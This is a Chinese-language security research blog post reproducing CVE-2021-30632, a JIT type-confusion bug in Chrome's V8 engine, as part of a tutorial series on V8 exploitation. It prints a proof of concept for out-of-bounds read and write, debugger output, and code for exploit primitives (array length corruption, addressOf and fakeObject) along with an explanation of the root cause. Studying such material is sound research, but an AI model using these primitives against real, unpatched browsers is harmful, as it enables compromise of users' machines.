作者:Hcamael@知道創宇404實驗室
相關閱讀: 從 0 開始學 V8 漏洞利用之環境搭建(一)
從 0 開始學 V8 漏洞利用之 V8 通用利用鏈(二)
從 0 開始學 V8 漏洞利用之 starctf 2019 OOB(三)
從 0 開始學 V8 漏洞利用之 CVE-2020-6507(四)
復現CVE-2021-30632
第三個研究的是CVE-2021-30632,其chrome的bug編號為:1247763
不過其相關信息還未公開,但是我們仍然能得知:
受影響的Chrome最高版本為:93.0.4577.63
受影響的V8最高版本為:9.3.345.16
不過網上能搜到一篇分析文章Chrome in-the-wild bug analysis: CVE-2021-30632,不過文章中只有PoC,不包含EXP,PoC如下:
function foo(b) {
x = b;
}
function oobRead() {
return [x[20],x[24]];
}
function oobWrite(addr) {
x[24] = addr;
}
//All have same map, SMI elements, MapA
var arr0 = new Array(10); arr0.fill(1);arr0.a = 1;
var arr1 = new Array(10); arr1.fill(2);arr1.a = 1;
var arr2 = new Array(10); arr2.fill(3); arr2.a = 1;
var x = arr0;
var arr = new Array(30); arr.fill(4); arr.a = 1;
...
//Optimzie foo
for (let i = 0; i < 19321; i++) {
if (i == 19319) arr2[0] = 1.1;
foo(arr1);
}
//x now has double elements, MapB
x[0] = 1.1;
//optimize oobRead
for (let i = 0; i < 20000; i++) {
oobRead();
}
//optimize oobWrite
for (let i = 0; i < 20000; i++) oobWrite(1.1);
//Restore map back to MapA, with SMI elements
foo(arr);
var z = oobRead();
oobWrite(0x41414141);
搭建環境
一鍵編譯相關環境:
$ ./build.sh 9.3.345.16
套模版
研究PoC
稍微修改一下PoC,然后運行:
$ cat poc.js
......
function oobRead() {
return x[16];
}
......
var z = oobRead();
console.log(hex(ftoi(z)));
%DebugPrint(x);
%SystemBreak();
$ ./d8 poc.js
80023b500000002
DebugPrint: 0x34070804a1a1: [JSArray]
- map: 0x340708207939 <Map(HOLEY_SMI_ELEMENTS)> [FastProperties]
- prototype: 0x3407081cc139 <JSArray[0]>
- elements: 0x34070804a1b1 <FixedArray[30]> [HOLEY_SMI_ELEMENTS]
- length: 30
- properties: 0x34070804a231 <PropertyArray[3]>
- All own properties (excluding elements): {
0x340708004905: [String] in ReadOnlySpace: #length: 0x34070814215d <AccessorInfo> (const accessor descriptor), location: descriptor
0x340708007aad: [String] in ReadOnlySpace: #a: 1 (const data field 0), location: properties[0]
}
- elements: 0x34070804a1b1 <FixedArray[30]> {
0-29: 5
}
......
然后掛上GDB進行調試,發現變量z的值(0x80023b500000002)位于elements + 8 + 16 * 8,從這可以看出該PoC達到了越界讀的效果,同理,oobWrite函數能達到越界寫的目的。
那么我們可以按以下順序定義變量:
var arr = new Array(30); arr.fill(4); arr.a = 1;
var trigger_array = [1.1];
var padding = [1.1];
var vul_obj = {"a" : 1};
那么通過arr的越界讀,我們可以獲取到下面三個變量的相關信息。具體的偏移可以通過gdb調試獲取,比如trigger_array變量的偏移為20。我可以通過oobWrite函數去修改trigger_array變量的size位,轉換為trigger_array變量的越界利用。
根據上述的數據去修改oobWrite函數和oobRead函數:
function oobRead() {
return x[21];
}
function oobWrite(addr) {
x[21] = addr;
}
然后就是修改trigger_array的size,把trigger_array數組的大小改為0x20:
var z = oobRead();
console.log("[*] leak data: 0x"+hex(ftoi(z)));
if (d2u(z)[1] == 2)
oobWrite(u2d(d2u(z)[0], 0x20));
else
oobWrite(u2d(0x20, d2u(z)[1]));
編寫addressOf函數
現在我們能來編寫addressOf函數了:
function addressOf(obj_to_leak)
{
vul_obj[0] = obj_to_leak;
trigger_array[7] = array_map;
let obj_addr = ftoi(vul_obj[0])-1n;
trigger_array[7] = obj_map;
return obj_addr;
}
編寫fakeObj函數
接下來就是編寫fakeObj函數:
function fakeObject(addr_to_fake)
{
padding[0] = itof(addr_to_fake + 1n);
trigger_array[5] = obj_map;
let faked_obj = padding[0];
trigger_array[5] = array_map;
return faked_obj;
}
其他
剩下的工作就是按照慣例,套模板,修改偏移了,這PoC目前我也沒覺得哪里有需要優化的地方。
漏洞簡述
在文章開頭,就給了一篇分析文章,原理在這篇文章也講的很清楚了,我這里就不展開再寫了。我就簡單概括一下說說我的理解。
首先是對foo函數進行JIT優化:
//Optimzie foo
for (let i = 0; i < 40000; i++) {
if (i == 100) arr2[0] = 1.1;
foo(arr1);
}
arr1在unstable的情況下,經過JIT優化,所以JIT會假設foo函數的輸入為SMI數組類型的變量,然后執行x[0] = 1.1;,把x變為浮點型數組類型的變量,但是因為變量x(這個時候x等于arr1)是unstable,因為代碼的bug,所以這個時候不會取消JIT優化。
然后執行:
for (let i = 0; i < 40000; i++) oobRead();
oobRead函數也經過JIT優化,這個時候JIT認為變量x是浮點型數組類型。
然后執行foo(arr);,因為之前JIT已經假設了foo函數的輸入變量為SMI數組,而arr就是SMI數組變量,所以JIT把x變量設置成了arr,卻沒有取消oobRead函數對于x變量的假設。
也就是說,在foo函數中,認為x是SMI數組,而oobRead函數中認為x是浮點型數組,這就產生了類型混淆。
所以在oobRead函數中x[21]的取值方式是在地址為x + 8 * 21取8字節的浮點型數值。但是x現在已經等于變量arr了,是一個長度為30的SMI數組,size為: 4 * 30,所以這就導致了溢出。
不過在分析該漏洞的時候仍然還有一些問題沒有解決,函數循環多少次會被JIT優化?在什么情況下把arr1轉化為unstable,JIT才能正常優化?上面循環40000次,在i==100的時候讓arr1變為unstable都是我試出來的,但是為啥是這個次數呢?我還沒研究明白。等后續研究明白了可以專門寫一篇文章。
參考
- https://bugs.chromium.org/p/chromium/issues/detail?id=1247763
- https://securitylab.github.com/research/in_the_wild_chrome_cve_2021_30632/
本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1824/
暫無評論